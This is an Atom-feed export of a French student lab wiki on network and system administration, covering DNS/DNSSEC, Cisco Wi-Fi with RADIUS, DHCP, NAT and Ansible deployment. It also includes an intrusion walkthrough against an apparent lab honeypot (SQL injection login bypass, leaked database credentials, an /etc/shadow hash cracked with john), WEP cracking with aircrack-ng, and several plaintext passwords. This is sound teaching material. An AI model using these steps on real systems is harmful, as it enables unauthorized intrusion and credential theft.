 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles. Une VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA). On lui associe sur eth1 l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt;.&lt;br /&gt;
La seconde sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; d'IP &amp;lt;code&amp;gt;192.168.42.7&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On relance, le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
===Inventaire===&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
===Playbook et roles===&lt;br /&gt;
&lt;br /&gt;
On crée plusieurs rôles qui sont lancés via un playbook. Chaque rôle à son propre sous-répertoire.&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.&lt;br /&gt;
&lt;br /&gt;
===Installation de &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; par l'intermédiaire du playbook. Pour cela on utilise un rôle déjà créé par &amp;lt;code&amp;gt;geerlingguy&amp;lt;/code&amp;gt;. Les variables docker_&amp;lt;code&amp;gt;apt_gpg_key&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker_apt_repository&amp;lt;/code&amp;gt; permettent que le rôle se comporte comme si la VM est sous debian version buster.&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot; &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; avec un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Playbook complet &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54993</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=54993"/>
				<updated>2020-12-18T20:52:37Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Playbook et roles */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
